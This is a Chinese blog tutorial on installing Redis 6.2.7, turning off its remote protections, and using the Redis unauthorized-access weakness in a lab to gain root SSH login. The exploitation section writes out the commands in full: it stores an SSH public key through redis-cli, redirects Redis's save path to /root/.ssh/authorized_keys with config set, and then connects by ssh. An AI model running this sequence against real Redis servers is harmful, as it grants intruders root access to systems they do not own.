Redis数据库与远程连接漏洞利用

目录

一、Redis数据库介绍

二、部署

创建redis数据库

开启一个新的数据库

开始远程访问

三、redis漏洞利用

redis未授权访问

用客户机去远程连接redis的ssh服务

总结


一、Redis数据库介绍

非关系型数据库,采用键/值(key/value)对的方式进行存放。

二、部署

  • 创建redis数据库

#安装编译环境

yum -y install gcc gcc-c++ make vim net-tools wget cmake

#下载redis数据库6.2.7版本

wget https://download.redis.io/releases/redis-6.2.7.tar.gz

#解压

tar zxf redis-6.2.7.tar.gz

#进入redis目录

cd redis-6.2.7

#开始下载并安装

make                                                                       #下载

make install PREFIX=/usr/local/redis               #安装到/usr/local/目录下

#添加环境变量

ln -s /usr/local/redis/bin/* /usr/local/bin/

注:这时已经可以运行redis数据库,但是是受远程保护的主redis数据库,远程连接的主机无法访问,所以需要进一步的操作

redis-server        #可以查看启动

 

  • 开启一个新的数据库

#进入redis目录

cd /root/redis-6.2.7/

#修改执行文件

vim utils/install_server.sh

#在末行模式输入set nu查看行数,将76到84行全部注释,如果不注释在执行时会报错

:set nu

 :wq

#开始执行文件

./utils/install_server.sh

一路回车

#此时会有新数据库的远程文件生成,修改远程文件可以使其被远程访问

vim /etc/redis/6379.conf

修改如下数据:

#bind 127.0.0.1 -::1                #将其注释掉

protected-mode no                #远程保护关闭

port 6399                                #修改端口号进行验证

requirepass Woniu.123        #将密码前的注释去掉并修改密码,启用密码提高安全性

:wq

#开启新的redis数据库进行验证

redis-server /etc/redis/6379.conf

netstat -anpt

  • 开始远程访问

注:远程的客户机也需要有redis数据库的客户端(其实也需要安装redis数据库)

#安装编译环境

yum -y install gcc gcc-c++ make vim net-tools wget cmake

#下载redis数据库6.2.7版本

wget https://download.redis.io/releases/redis-6.2.7.tar.gz

#解压

tar zxf redis-6.2.7.tar.gz

#进入redis目录

cd redis-6.2.7

#开始下载并安装

make                                                                       #下载

make install PREFIX=/usr/local/redis               #安装到/usr/local/目录下

#添加环境变量

ln -s /usr/local/redis/bin/* /usr/local/bin/

#启用远程连接

redis-cli -h 192.168.137.130 -p 6399 -a Woniu.123

#-h          要连接的服务器的IP

#-p          要连接服务器的端口

#-a          要连接到服务器的密码

三、redis漏洞利用

  • redis未授权访问

  • 注:此漏洞需要服务器有.ssh文件,以及没有禁用config命令

在客户机上操作:

#先生成ssh密钥对

ssh-keygen -t rsa

可以设置密码也可以不设置,我是没有设置一路回车

 #此时就有了公钥与私钥的存放目录.ssh

 #将公钥文件重新存放,前后增加换行从而保证前后不乱码

cd .ssh/                #进入文件目录

(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > key.txt

#将公钥文件存入redis服务器中

cat /root/.ssh/key.txt | redis-cli -h 192.168.137.130 -p 6399 -a Woniu.123 -x set aaa

#验证自己的主服务器会发现多出一个aaa的键

 #远程连接redis

redis-cli -h 192.168.137.130 -p 6399 -a Woniu.123

#使用config set去修改redis数据存放目录

config set dir /root/.ssh/

#验证

 #使用config set去修改redis的数据存放名

config set dbfilename authorized_keys

#保存配置

save

  • 用客户机去远程连接redis的ssh服务

ssh root@192.168.137.130


总结

redis数据库有安全漏洞,所以我们需要加强自身的安全防护。

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值